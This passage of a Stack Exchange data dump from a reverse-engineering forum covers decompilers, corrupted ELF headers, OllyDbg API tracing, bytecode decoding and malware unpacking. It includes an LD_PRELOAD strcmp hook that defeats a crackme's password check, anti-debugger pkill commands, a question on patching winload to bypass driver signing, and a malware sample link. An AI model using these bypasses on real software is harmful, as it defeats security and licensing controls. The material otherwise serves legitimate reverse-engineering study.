jumps confusing the recompiler. ILSpy mostly is able to cope with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ILSpy for instance is not able to recompile subclasses (i.e. classes within a class). They just not show up in the class tree, when in C# view. In IL view, you see all of them.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-06-27T11:25:21.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9237" PostTypeId="1" CreationDate="2015-06-27T13:39:02.640" Score="3" ViewCount="8074" Body="&lt;p&gt;I'm trying to reverse engineer a binary file using GDB and objdump. I can execute the binary in my linux shell, however the file seems to be changed in a way that it can't be debugged / reverse engineered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;file&lt;/code&gt; utility shows the following information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mybinary: ERROR: ELF 64-bit LSB executable, x86-64, invalid version (SYSV), dynamically linked (uses shared libs)error reading (Invalid argument)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the follwing error in GDB:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb ./mybinary&#xA;mybinary: not in executable format: File format not recognized&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a similar error from objdump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -S -l -C -F -t -w ./mybinary&#xA;objdump: ./mybinary: File format not recognized&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;readelf shows this at the end of the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;readelf -h ./mybinary&#xA;readelf: Error: Unable to seek to 0xffffff60e9000000 for string table&#xA;readelf: Error: Section 8 has invalid sh_entsize 6c2f343662696c2f (expected 18)&#xA;readelf: Error: Section 23 has invalid sh_entsize 0 (expected 10)&#xA;readelf: Error: no .dynamic section in the dynamic segment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I do to debug / reverse engineer this binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: gdb and objdump show these error messages, because the elf header of the binary was corrupted on purpose. Still don't know how to fix elf headers or debug this file.&lt;/p&gt;&#xA;" OwnerUserId="12884" LastEditorUserId="12884" LastEditDate="2015-06-29T13:53:47.030" LastActivityDate="2015-08-05T10:33:20.230" Title="Debug binary with GDB &amp; disassembly: File format not recognized (elf headers corrupted)" Tags="|disassembly|gdb|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9238" PostTypeId="2" ParentId="9229" CreationDate="2015-06-27T22:21:14.420" Score="3" Body="&lt;p&gt;First of all I'll start by saying that I'm only writing a partial solution since I don't have the time to fully extract it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are correct to assume you have a lot of false positives, however the start of the file does seem to be lzma compressed. The easiest way to check (that's what I did) is to look at it with a hex editor and if the header is ok try to decompress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results of the decompression:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ealCu.jpg&quot; alt=&quot;decompressed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more it seems the firmware has several sections and contains a wind river linux: &quot;C: (Wind River Linux Sourcery G++ 4.4a-323) 4.4.1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about something similar here:&#xA;&lt;a href=&quot;http://www.devttys0.com/2011/07/reverse-engineering-vxworks-firmware-wrt54gv8/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.devttys0.com/2011/07/reverse-engineering-vxworks-firmware-wrt54gv8/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12556" LastActivityDate="2015-06-27T22:21:14.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9239" PostTypeId="2" ParentId="9178" CreationDate="2015-06-28T01:34:49.357" Score="1" Body="&lt;p&gt;I used piece of software a few years ago that allowed limited editing of the generated code directly within the tool itself, but when I say 'limited', I &lt;em&gt;really&lt;/em&gt; mean limited. In fact, this feature was actually removed from more&#xA;recent releases of this software. The old version that had this feature is&#xA;no longer available, but it's still a decent and free .NET decompiler so if you want to check it out, it's called DotNet Resolver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the Reflexil plugin for Reflector, which has already been mentioned, but it's also pretty unreliable and limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to get things done, however, I'd recommend using the ILDASM and ILASM tools which are installed with Visual Studio. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you want to be able to just edit the high level code, but that's just not very&#xA;feasible. You can use Reflector to export the source code generated from a&#xA;disassembled .NET application as a project, but then you have errors, missing&#xA;dependencies, and the like to deal with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With ILDASM and ILASM you would be editing the MSIL directly, but it's really the best way to go about modifying a .NET application. MSIL is actually pretty&#xA;simple and you won't have to deal with the source code produced by tools like&#xA;Reflector, which are often riddled with errors. &#xA;Moreover, you generally won't have to worry about obfuscation. In 99% of cases you will always be able to disassemble .NET applications down to MSIL&#xA;and then reassemble them without any issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of resources online to aid you with both editing and understanding MSIL if you're not familiar with it. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="12889" LastEditorUserId="12889" LastEditDate="2015-06-28T01:43:58.670" LastActivityDate="2015-06-28T01:43:58.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9240" PostTypeId="1" CreationDate="2015-06-28T04:50:49.327" Score="4" ViewCount="3357" Body="&lt;p&gt;I`m beginner in OllyDBG. In the debugging of an exe file, I found which dll is used (kernel32, ntdl, user32, etc). I want to get a list of all functions of each dll that are called.&#xA;How?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="12891" LastActivityDate="2015-06-28T07:05:57.820" Title="Which functions of a dll is called in OllyDBG" Tags="|ollydbg|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9242" PostTypeId="2" ParentId="9240" CreationDate="2015-06-28T07:05:57.820" Score="4" Body="&lt;p&gt;There are quite a few ways to achieve this. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In OllyDbg search for all &lt;em&gt;Intermodular calls&lt;/em&gt;. This would bring up a list of functions called from the main module. You can the set a logging breakpoint on all the functions. The disadvantage of this approach is that dynamically resolved function calls cannot not be intercepted.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VOfDV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for &lt;em&gt;Name in all modules&lt;/em&gt;. Next set logging breakpoints on all exported entries. Disadvantage of this approach is that there will be a lot of false positives such as when a function from &lt;em&gt;kernel32&lt;/em&gt; calls into another function in &lt;em&gt;ntdll&lt;/em&gt;, it will be logged too. To clear the false positives you can use a conditional logging breakpoint to check if the return address is within the ranges of the main module. &#xA;&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSWXW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a dedicated tool for this purpose like &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt;, &lt;a href=&quot;http://www.nektra.com/products/spystudio-api-monitor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SpyStudio&lt;/a&gt; etc. If you use the SpyStudio, be sure to check out the &lt;a href=&quot;http://whiteboard.nektra.com/trace-an-application-from-startup&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-06-28T07:05:57.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9243" PostTypeId="1" AcceptedAnswerId="9252" CreationDate="2015-06-28T13:26:44.743" Score="1" ViewCount="588" Body="&lt;h2&gt;Introduction&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since &lt;strong&gt;Windows Vista&lt;/strong&gt; and higher versions a non-boot kernel-mode driver is installed by validating the certificate issued to sign the catalog file and each file associated with the catalog : .inf, .sys and .dll dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done by checking whether the certificate chain is valid, that means that the root &lt;em&gt;CA&lt;/em&gt; has to be under the local Trusted Root &lt;em&gt;CA&lt;/em&gt; and also the leaf certificate (not the root &lt;em&gt;CA&lt;/em&gt;) has to be under the Trusted Publisher, so the installation doesn't prompt to ask the user if he trusts in the publisher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when the installation finishes the driver fails to load into the kernel. I suppose that winload validates the driver's certificate by looking in its own trusted root &lt;em&gt;CA&lt;/em&gt; store, so the only &lt;em&gt;CA&lt;/em&gt;s that are supported are in this list : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/dn170454%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;Cross-Certificates for Kernel Mode Code Signing&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Is there a way to patch &lt;strong&gt;winload&lt;/strong&gt; to insert a new Root &lt;em&gt;CA&lt;/em&gt; so when it loads our driver it validates the certificate correctly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that modifying &lt;strong&gt;winload&lt;/strong&gt; will break its digital signature, so we can resign it using the private key of our new Root &lt;em&gt;CA&lt;/em&gt;, that will do the work theoretically.&lt;/p&gt;&#xA;" OwnerUserId="12893" LastEditorUserId="2213" LastEditDate="2015-06-29T11:02:17.983" LastActivityDate="2015-06-29T14:21:49.220" Title="Patch driver loading process" Tags="|windows|kernel-mode|patching|driver|operating-systems|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-08T21:47:00.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="9244" PostTypeId="2" ParentId="8983" CreationDate="2015-06-28T15:24:04.930" Score="2" Body="&lt;p&gt;You could place a breakpoint on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;LoadLibrary&lt;/a&gt; and &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;GetProcAddress&lt;/a&gt; API functions. This is a nice way of doing this because most packers use these functions to load the needed libraries and to fix the import table. Based on my personal experience import fixing is mostly done at the very end of the unpacking process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you are sure that the imports are fixed, it is possible that there will be a small decryption routine which will decrypt the OEP and make a jump to it. But, as mentioned in the answer above, this is packer specific and it might not work for all of them.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2015-06-28T15:24:04.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9245" PostTypeId="1" AcceptedAnswerId="9249" CreationDate="2015-06-28T23:52:14.100" Score="1" ViewCount="110" Body="&lt;p&gt;I'm trying to reverse engineer a proprietary scripting &quot;compiled bytecode&quot; So I can recover source codes of contractor who has gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I worked out the majority of it, I'm trying to work out how to translate expressions back into code. Wondering if anyone may have some ideas from the patterns below the sort of logic that might be used to rebuild the equations. In particular how operators may be applied back to the components of the expression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically I'm trying to work out how to decompile these two expressions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A = B * C+D/E-F&#xA;A = B * (C+D)/E-F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Operation Codes ,this was worked out from examples provided below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;22 04 &amp;gt;&#xA;2B 04 &amp;lt;&#xA;32 04 *&#xA;01 04 +&#xA;17 04 /&#xA;55 04 -&#xA;25 00 AND&#xA;27 00 OR&#xA;26 04 end of statement&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Type of assignment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 xx xx       = Variable xx xx &#xA;3D 45 xx xx xx xx = 4 byte number&#xA;4B xx             = One byte value&#xA;48 xx             = One byte value&#xA;38 40 xx xx       = Assign result to variable xx xx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example the variables are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A = 00 00&#xA;B = 00 04&#xA;C = 00 08&#xA;D = 00 0C&#xA;E = 00 10&#xA;F = 00 14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A = 10*20+30/40-50/2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4B AF       ; 175 &#xA;38 40 00 00 ; Assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A = 10*B+30/40-50/2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;48 0A       ; 10&#xA;3D 40 00 04 ; B &#xA;32 04       ; *&#xA;48 00       ; 0&#xA;01 04       ; +&#xA;48 19       ; 25&#xA;55 04       ; -&#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A = B+C&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;01 04       ; +&#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A = B*C&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;32 04       ; *&#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A = B-C&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;55 04       ; -&#xA;38 40 00 00 ; Assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A = B/C&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;17 04       ; / &#xA;38 40 00 00 ; Assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A = B*C+D-E/F&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;32 04       ; *&#xA;3D 40 00 0C ; D&#xA;01 04       ; +&#xA;3D 40 00 10 ; E&#xA;3D 40 00 14 ; F&#xA;17 04       ; /&#xA;55 04       ; -&#xA;38 40 00 00 ; Assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A = B*C+D/E-F&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;32 04       ; *&#xA;3D 40 00 0C ; D&#xA;3D 40 00 10 ; E&#xA;17 04       ; / &#xA;01 04       ; +&#xA;3D 40 00 14 ; F&#xA;55 04       ; -&#xA;38 40 00 00 ; Assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A = B*(C+D)/E-F&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;3D 40 00 0C ; D&#xA;01 04       ; +&#xA;32 04       ; *&#xA;3D 40 00 10 ; E&#xA;17 04       ; /&#xA;3D 40 00 14 ; F&#xA;55 04       ; -&#xA;38 40 00 00 ; Assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A = B+C * D&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C &#xA;3D 40 00 0C ; D&#xA;32 04       ; * &#xA;01 04       ; +&#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A=(B+C) * D&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;01 04       ; +&#xA;3D 40 00 0C ; D&#xA;32 04       ; *&#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A=B+C+D * E&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;01 04       ; +&#xA;3D 40 00 0C ; D&#xA;3D 40 00 10 ; E&#xA;32 04       ; *&#xA;01 04       ; +&#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A=(B+C+D) * E&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;01 04       ; +&#xA;3D 40 00 0C ; D&#xA;01 04       ; +&#xA;3D 40 00 10 ; E&#xA;32 04       ; *&#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A=A+B * C+D+E * F&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 00 ; A&#xA;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;32 04       ; *&#xA;01 04       ; +&#xA;3D 40 00 0C ; D&#xA;01 04       ; +&#xA;3D 40 00 10 ; E&#xA;3D 40 00 14 ; F&#xA;32 04       ; *&#xA;01 04       ; +&#xA;38 40 00 00 ; Assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A=(A+B) * (C+D)+E * F&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 00 ; A&#xA;3D 40 00 04 ; B&#xA;01 04       ; + &#xA;3D 40 00 08 ; C&#xA;3D 40 00 0C ; D&#xA;01 04       ; +   &#xA;32 04       ; *&#xA;3D 40 00 10 ; E&#xA;3D 40 00 14 ; F&#xA;32 04       ; *&#xA;01 04       ; +&#xA;38 40 00 00 ; Assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A=A+B+(C * D)+E&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 00 ; A&#xA;3D 40 00 04 ; B&#xA;01 04       ; +&#xA;3D 40 00 08 ; C&#xA;3D 40 00 0C ; D&#xA;32 04       ; *&#xA;01 04       ; +&#xA;3D 40 00 10 ; E&#xA;01 04       ; + &#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A=A+B+(C* D *E)+F&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 00 ; A&#xA;3D 40 00 04 ; B&#xA;01 04       ; +&#xA;3D 40 00 08 ; C&#xA;3D 40 00 0C ; D&#xA;32 04       ; *&#xA;3D 40 00 10 ; E&#xA;32 04       ; *&#xA;01 04       ; +&#xA;3D 40 00 14 ; F&#xA;01 04       ; +&#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A=B-C&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;55 04       ; -&#xA;38 40 00 00 ; assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A=B*C+D-E/F&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;32 04       ; *&#xA;3D 40 00 0C ; D&#xA;01 04       ; +&#xA;3D 40 00 10 ; E&#xA;3D 40 00 14 ; F&#xA;17 04       ; -&#xA;55 04       ; /&#xA;38 40 00 00 ; Assign result to A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Boolean Expressions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;512 &amp;lt; A&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 45 00 00 02 00 ; 512&#xA;3D 40 00 00       ; variable A&#xA;2B 04             ; &amp;lt;&#xA;26 00             ; end of expression&#xA;00 7E             ; ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a&gt;B and b128 or d&gt;1024 or e&gt;128&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D 40 00 00 ; A&#xA;3D 40 00 04 ; B&#xA;22 04       ; &amp;gt;&#xA;25 00       ; AND&#xA;00 CC       ;&#xA;3D 40 00 04 ; B&#xA;3D 40 00 08 ; C&#xA;2B 04       ; &amp;lt;&#xA;25 00       ; AND&#xA;00 CC       ;&#xA;3D 40 00 08 ; C&#xA;4B 80       ; 128&#xA;22 04       ; &amp;gt;&#xA;27 00       ; OR &#xA;00 E8       ;&#xA;3D 40 00 0C ; D &#xA;3D 45 00 00 04 00 ; 1024&#xA;22 04       ; &amp;gt;&#xA;27 00       ; OR &#xA;00 E8       ; &#xA;3D 40 00 10 ; E&#xA;4B 80       ; 128&#xA;22 04       ; &amp;gt;&#xA;26 00       ; end of expression&#xA;01 14       ; ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2015-06-29T00:06:19.647" LastActivityDate="2015-06-29T08:08:45.880" Title="reversing bytcode - trying to work decompiling expression" Tags="|file-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9246" PostTypeId="2" ParentId="3593" CreationDate="2015-06-29T01:49:40.883" Score="3" Body="&lt;p&gt;Every compressed chunk in the config.bin file is prepended by a small 3-DWORDs header containing the following information: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the length of the uncompressed xml chunk.  This value is 0x10000 for all but the last chunk&lt;/li&gt;&#xA;&lt;li&gt;the length of the compressed zlib chunk&lt;/li&gt;&#xA;&lt;li&gt;the cumulative length of the file after the chunk is appended.  This value is 0x0 for the last chunk.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These headers can be used to avoid false positives during the detection of the chunks: valid chunks will have either a 0x10000 on the first field or a 0x0 on the third field.  The headers can also be used to verify the uncompressed data size.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import re&#xA;import zlib&#xA;import struct&#xA;&#xA;&#xA;def extract_config_xml(config_bin):&#xA;    config_xml = b''&#xA;    for zlib_chunk in re.finditer('\x78\xda', config_bin):&#xA;        zlib_chunk_start = zlib_chunk.start()&#xA;        zlib_chunk_header = config_bin[zlib_chunk_start - 12: zlib_chunk_start]&#xA;        xml_chunk_length, zlib_chunk_length, config_bin_length = \&#xA;            struct.unpack('&amp;gt;LLL', zlib_chunk_header)&#xA;        if xml_chunk_length == 0x10000 or config_bin_length == 0:&#xA;            zlib_chunk_end = zlib_chunk_start + zlib_chunk_length&#xA;            zlib_chunk = config_bin[zlib_chunk_start: zlib_chunk_end]&#xA;            xml_chunk = zlib.decompress(zlib_chunk)&#xA;            assert xml_chunk_length == len(xml_chunk)&#xA;            config_xml += xml_chunk&#xA;    return config_xml&#xA;&#xA;&#xA;with open('config.bin', 'rb') as f:&#xA;    print extract_config_xml(f.read())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12873" LastActivityDate="2015-06-29T01:49:40.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9247" PostTypeId="2" ParentId="9237" CreationDate="2015-06-29T06:47:32.400" Score="2" Body="&lt;p&gt;I was not able to run the crackme here, but I did run &quot;strings&quot; on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings crackme&#xA;/lib64/ld-linux-x86-64.so.2&#xA;libc.so.6&#xA;srand&#xA;puts&#xA;time&#xA;clock&#xA;stdin&#xA;calloc&#xA;malloc&#xA;system&#xA;getline&#xA;strcmp&#xA;__libc_start_main&#xA;__gmon_start__&#xA;GLIBC_2.2.5&#xA;%z   &#xA;%r   &#xA;%j   &#xA;AWAVAUE1&#xA;ATE1&#xA;[]A\A]A^A_&#xA;t7&quot;Hc&#xA;[]A\A]A^A_&#xA;$&amp;amp;463847345GeF387&#xA;pkill -f gdb &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;pkill -f ddt &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;pkill -f ddd &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;Axj54?_&#xA;Password check failed!&#xA;Congratulations, password check successful!&#xA;;*3$&quot;&#xA;GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2&#xA;.shstrtab&#xA;.interp&#xA;.note.ABI-tag&#xA;.note.gnu.build-id&#xA;.gnu.hash&#xA;.dynsym&#xA;.dynstr&#xA;.gnu.version&#xA;.gnu.version_r&#xA;.rela.dyn&#xA;.rela.plt&#xA;.init&#xA;.text&#xA;.fini&#xA;.rodata&#xA;.eh_frame_hdr&#xA;.eh_frame&#xA;.init_array&#xA;.fini_array&#xA;.jcr&#xA;.dynamic&#xA;.got&#xA;.got.plt&#xA;.data&#xA;.bss&#xA;.comment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I have a couple of suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Just above to the &quot;Password check failed!&quot; and &quot;Congratulations, password check successful!&quot; messages, you will find a &quot;Axj54?_&quot; string.  You should try it as a solution to the crackme.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As there is a reference to &quot;strcmp&quot; you can try the LD_PRELOAD trick to replace strcmp() for your own function.  Here is an example code which will print the strings being compared and will also force them to be equal:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Save this file as &quot;mystrcmp.c&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int strcmp ( const char * str1, const char * str2 ) {&#xA;    printf(&quot;strcmp intercepted: str1=%s, str2=%s\n&quot;, str1, str2);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compile it as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -shared -ldl mystrcmp.c -o mystrcmp.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And run the crackme as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ LD_PRELOAD=./mystrcmp.so ./crackme&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should accept any answer as valid but it should also show you the real answer in one of the intercepted parameters.&lt;/p&gt;&#xA;" OwnerUserId="12873" LastActivityDate="2015-06-29T06:47:32.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9248" PostTypeId="1" CreationDate="2015-06-29T07:38:26.900" Score="1" ViewCount="118" Body="&lt;p&gt;I`m working on this malware to analyze:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.freeuploadsite.com/do.php?id=74209&#xA;password: infected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems it is packed but when I use &quot;PE View&quot; , etc tools to find the packer, their results are nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I unpack this malware manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="12891" LastActivityDate="2015-06-29T11:01:01.887" Title="unpack a malware manually" Tags="|ollydbg|malware|unpacking|" AnswerCount="0" CommentCount="1" ClosedDate="2015-07-01T02:28:21.153" ContentLicense="CC BY-SA 3.0" />
